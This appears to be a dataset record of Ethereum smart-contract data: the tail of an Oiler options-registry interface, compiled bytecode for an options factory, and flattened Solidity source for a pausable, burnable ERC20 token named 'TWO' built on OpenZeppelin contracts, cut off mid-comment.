optionTypes(uint256 _index) external view returns (bytes32); function factories(bytes32 _optionType) external view returns (address); function optionsRouter() external view returns (IOilerOptionsRouter); function getOptionTypesLength() external view returns (uint256); function getOptionTypeAt(uint256 _index) external view returns (bytes32); function getArchivedOptionsLength(string memory _optionType) external view returns (uint256); function getArchivedOptionsLength(bytes32 _optionType) external view returns (uint256); function getOptionTypeFactory(string memory _optionType) external view returns (address); function getAllArchivedOptionsOfType(string memory _optionType) external view returns (address[] memory); function getAllArchivedOptionsOfType(bytes32 _optionType) external view returns (address[] memory); function registerFactory(address factory) external; function setOptionsTypeFactory(string memory _optionType, address _factory) external; function registerOption(address _optionAddress, string memory _optionType) external; function setOptionsRouter(IOilerOptionsRouter _optionsRouter) external; }
0x608060405234801561001057600080fd5b50600436106100925760003560e01c80638da5cb5b116100665780638da5cb5b1461010d5780639b5c0a421461012b578063b09f21c514610147578063d9d6454014610177578063f2fde38b1461019557610092565b8062ae36761461009757806352d3407e146100c7578063715018a6146100e55780637b103999146100ef575b600080fd5b6100b160048036038101906100ac91906116f2565b6101b1565b6040516100be9190611d71565b60405180910390f35b6100cf6101e6565b6040516100dc9190611d8c565b60405180910390f35b6100ed61020a565b005b6100f7610377565b6040516101049190611da7565b60405180910390f35b61011561039b565b6040516101229190611bd3565b60405180910390f35b610145600480360381019061014091906116f2565b6103c4565b005b610161600480360381019061015c9190611800565b61047f565b60405161016e9190611bd3565b60405180910390f35b61017f6106dc565b60405161018c9190611bd3565b60405180910390f35b6101af60048036038101906101aa91906116f2565b610702565b005b60006101df600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836108f4565b9050919050565b7f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7581565b610212610976565b73ffffffffffffffffffffffffffffffffffffffff1661023061039b565b73ffffffffffffffffffffffffffffffffffffffff16146102b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000fd1b4e26e2aeba6f791f650108ff942fc3e3c0ae81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6103cc610976565b73ffffffffffffffffffffffffffffffffffffffff166103ea61039b565b73ffffffffffffffffffffffffffffffffffffffff1614610473576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61047c8161097e565b50565b6000610489610976565b73ffffffffffffffffffffffffffffffffffffffff166104a761039b565b73ffffffffffffffffffffffffffffffffffffffff1614610530576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061053a610fe7565b90508073ffffffffffffffffffffffffffffffffffffffff1663a28ba9b5898989896040518563ffffffff1660e01b815260040161057b9493929190611e9d565b600060405180830381600087803b15801561059557600080fd5b505af11580156105a9573d6000803e3d6000fd5b505050506105b78585611019565b61060c60405180608001604052808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001858152506110eb565b7f000000000000000000000000fd1b4e26e2aeba6f791f650108ff942fc3e3c0ae73ffffffffffffffffffffffffffffffffffffffff1663e2104e03826040518263ffffffff1660e01b81526004016106659190611d1a565b600060405180830381600087803b15801561067f57600080fd5b505af1158015610693573d6000803e3d6000fd5b505050507fd24d824860e7f36c08df207d22094623f901c3a69631edd487e915e1fac5d41a816040516106c69190611cf3565b60405180910390a1809150509695505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61070a610976565b73ffffffffffffffffffffffffffffffffffffffff1661072861039b565b73ffffffffffffffffffffffffffffffffffffffff16146107b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610837576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120b06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808360601b90506040517f363d3d373d3d3d363d7300000000000000000000000000000000000000000000815281600a8201527f5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000601e82015260408101602d600082873c600d810151600d83015114815183511416935050505092915050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff166322f3e2d46040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c457600080fd5b505afa1580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc919061175c565b15610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390611e02565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff1663495ebdc66040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8457600080fd5b505afa158015610a98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abc91906117ae565b905060007f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7573ffffffffffffffffffffffffffffffffffffffff16631030914e84846040518363ffffffff1660e01b8152600401610b1b929190611c4e565b60206040518083038186803b158015610b3357600080fd5b505afa158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190611785565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c758373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610be39190611bd3565b60206040518083038186803b158015610bfb57600080fd5b505afa158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3391906117d7565b6040518363ffffffff1660e01b8152600401610c50929190611d48565b602060405180830381600087803b158015610c6a57600080fd5b505af1158015610c7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca2919061175c565b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611e62565b60405180910390fd5b60607f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7573ffffffffffffffffffffffffffffffffffffffff1663d752fab285858573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d5a9190611bd3565b60206040518083038186803b158015610d7257600080fd5b505afa158015610d86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daa91906117d7565b6040518463ffffffff1660e01b8152600401610dc893929190611c77565b600060405180830381600087803b158015610de257600080fd5b505af1158015610df6573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e1f919061171b565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600081518110610e4b57fe5b60200260200101516040518363ffffffff1660e01b8152600401610e70929190611c25565b602060405180830381600087803b158015610e8a57600080fd5b505af1158015610e9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec2919061175c565b610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef890611e22565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600181518110610f2b57fe5b60200260200101516040518363ffffffff1660e01b8152600401610f50929190611c25565b602060405180830381600087803b158015610f6a57600080fd5b505af1158015610f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa2919061175c565b610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611e22565b60405180910390fd5b50505050565b6000611014600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611572565b905090565b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161105693929190611bee565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a8919061175c565b6110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90611e42565b60405180910390fd5b5050565b806000015173ffffffffffffffffffffffffffffffffffffffff1663095ea7b3826040015183606001516040518363ffffffff1660e01b8152600401611132929190611d48565b602060405180830381600087803b15801561114c57600080fd5b505af1158015611160573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611184919061175c565b6111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90611dc2565b60405180910390fd5b806000015173ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7583602001516040518363ffffffff1660e01b8152600401611226929190611d48565b602060405180830381600087803b15801561124057600080fd5b505af1158015611254573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611278919061175c565b6112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae90611de2565b60405180910390fd5b806040015173ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7583606001516040518363ffffffff1660e01b815260040161131a929190611d48565b602060405180830381600087803b15801561133457600080fd5b505af1158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c919061175c565b6113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a290611de2565b60405180910390fd5b61143a816040015173ffffffffffffffffffffffffffffffffffffffff1663495ebdc66040518163ffffffff1660e01b815260040160206040518083038186803b1580156113f857600080fd5b505afa15801561140c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143091906117ae565b8260600151611019565b806040015173ffffffffffffffffffffffffffffffffffffffff16632f048afa82606001516040518263ffffffff1660e01b815260040161147b9190611e82565b600060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b505050507f0000000000000000000000007ff9cf6c137df7cc813e6d9963ae607b698a1c7573ffffffffffffffffffffffffffffffffffffffff1663cf6c62ea82604001518360000151846060015185602001516040518563ffffffff1660e01b815260040161151c9493929190611cae565b602060405180830381600087803b15801561153657600080fd5b505af115801561154a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156e91906117d7565b5050565b6000808260601b90506040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528160148201527f5af43d82803e903d91602b57fd5bf3000000000000000000000000000000000060288201526037816000f092505050919050565b6000813590506115eb8161203c565b92915050565b600082601f83011261160257600080fd5b815161161561161082611f13565b611ee2565b9150818183526020840193506020810190508385602084028201111561163a57600080fd5b60005b8381101561166a578161165088826116dd565b84526020840193506020830192505060018101905061163d565b5050505092915050565b60008135905061168381612053565b92915050565b60008151905061169881612053565b92915050565b6000815190506116ad8161206a565b92915050565b6000815190506116c281612081565b92915050565b6000813590506116d781612098565b92915050565b6000815190506116ec81612098565b92915050565b60006020828403121561170457600080fd5b6000611712848285016115dc565b91505092915050565b60006020828403121561172d57600080fd5b600082015167ffffffffffffffff81111561174757600080fd5b611753848285016115f1565b91505092915050565b60006020828403121561176e57600080fd5b600061177c84828501611689565b91505092915050565b60006020828403121561179757600080fd5b60006117a58482850161169e565b91505092915050565b6000602082840312156117c057600080fd5b60006117ce848285016116b3565b91505092915050565b6000602082840312156117e957600080fd5b60006117f7848285016116dd565b91505092915050565b60008060008060008060c0878903121561181957600080fd5b600061182789828a016116c8565b965050602061183889828a016116c8565b955050604061184989828a01611674565b945050606061185a89828a016115dc565b935050608061186b89828a016116c8565b92505060a061187c89828a016116c8565b9150509295509295509295565b61189281611fbc565b82525050565b6118a181611f50565b82525050565b6118b081611f62565b82525050565b6118bf81611fce565b82525050565b6118ce81611ff2565b82525050565b60006118e1603583611f3f565b91507f4f696c65724f7074696f6e42617365466163746f72793a20455243323020617060008301527f70726f76616c206661696c65642c206f7074696f6e00000000000000000000006020830152604082019050919050565b7f4800000000000000000000000000000000000000000000000000000000000000815250565b600061196d600183611f3f565b91507f48000000000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b60006119ad603683611f3f565b91507f4f696c65724f7074696f6e42617365466163746f72793a20455243323020617060008301527f70726f76616c206661696c65642c2062526f75746572000000000000000000006020830152604082019050919050565b6000611a13604683611f3f565b91507f4f696c65724f7074696f6e42617365466163746f72792e72656d6f76654f707460008301527f696f6e73506f6f6c4c69717569646974793a206f7074696f6e207374696c6c2060208301527f61637469766500000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000611a9f601083611f3f565b91507f4552525f45524332305f4641494c4544000000000000000000000000000000006000830152602082019050919050565b6000611adf602d83611f3f565b91507f4f696c65724f7074696f6e42617365466163746f72793a20455243323020747260008301527f616e73666572206661696c6564000000000000000000000000000000000000006020830152604082019050919050565b6000611b45604283611f3f565b91507f4f696c65724f7074696f6e42617365466163746f72792e72656d6f76654f707460008301527f696f6e73506f6f6c4c69717569646974793a20617070726f76616c206661696c60208301527f65640000000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b611bcd81611fb2565b82525050565b6000602082019050611be86000830184611898565b92915050565b6000606082019050611c036000830186611889565b611c106020830185611898565b611c1d6040830184611bc4565b949350505050565b6000604082019050611c3a6000830185611889565b611c476020830184611bc4565b9392505050565b6000604082019050611c636000830185611898565b611c706020830184611898565b9392505050565b6000606082019050611c8c6000830186611898565b611c996020830185611898565b611ca66040830184611bc4565b949350505050565b6000608082019050611cc36000830187611898565b611cd06020830186611898565b611cdd6040830185611bc4565b611cea6060830184611bc4565b95945050505050565b6000604082019050611d086000830184611898565b611d146020830161193a565b92915050565b6000604082019050611d2f6000830184611898565b8181036020830152611d4081611960565b905092915050565b6000604082019050611d5d6000830185611898565b611d6a6020830184611bc4565b9392505050565b6000602082019050611d8660008301846118a7565b92915050565b6000602082019050611da160008301846118b6565b92915050565b6000602082019050611dbc60008301846118c5565b92915050565b60006020820190508181036000830152611ddb816118d4565b9050919050565b60006020820190508181036000830152611dfb816119a0565b9050919050565b60006020820190508181036000830152611e1b81611a06565b9050919050565b60006020820190508181036000830152611e3b81611a92565b9050919050565b60006020820190508181036000830152611e5b81611ad2565b9050919050565b60006020820190508181036000830152611e7b81611b38565b9050919050565b6000602082019050611e976000830184611bc4565b92915050565b6000608082019050611eb26000830187611bc4565b611ebf6020830186611bc4565b611ecc60408301856118a7565b611ed96060830184611898565b95945050505050565b6000604051905081810181811067ffffffffffffffff82111715611f0957611f0861203a565b5b8060405250919050565b600067ffffffffffffffff821115611f2e57611f2d61203a565b5b602082029050602081019050919050565b600082825260208201905092915050565b6000611f5b82611f92565b9050919050565b60008115159050919050565b6000611f7982611f50565b9050919050565b6000611f8b82611f50565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611fc782612016565b9050919050565b6000611fd982611fe0565b9050919050565b6000611feb82611f92565b9050919050565b6000611ffd82612004565b9050919050565b600061200f82611f92565b9050919050565b600061202182612028565b9050919050565b600061203382611f92565b9050919050565bfe5b61204581611f50565b811461205057600080fd5b50565b61205c81611f62565b811461206757600080fd5b50565b61207381611f6e565b811461207e57600080fd5b50565b61208a81611f80565b811461209557600080fd5b50565b6120a181611fb2565b81146120ac57600080fd5b5056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122020fc7e9f0e077d2c518e01ef0d209c7bd34bc4cee574b11c01e020fb7951fe4064736f6c63430007050033
[ 5, 20, 12 ]
0xF2C6024111254249571e404A88f2F4f5e577afAF
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract TWO is ERC20, ERC20Burnable, Pausable, Ownable { constructor() ERC20("2048", "TWO") { _mint(msg.sender, 281474976710656 * 10 ** decimals()); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution 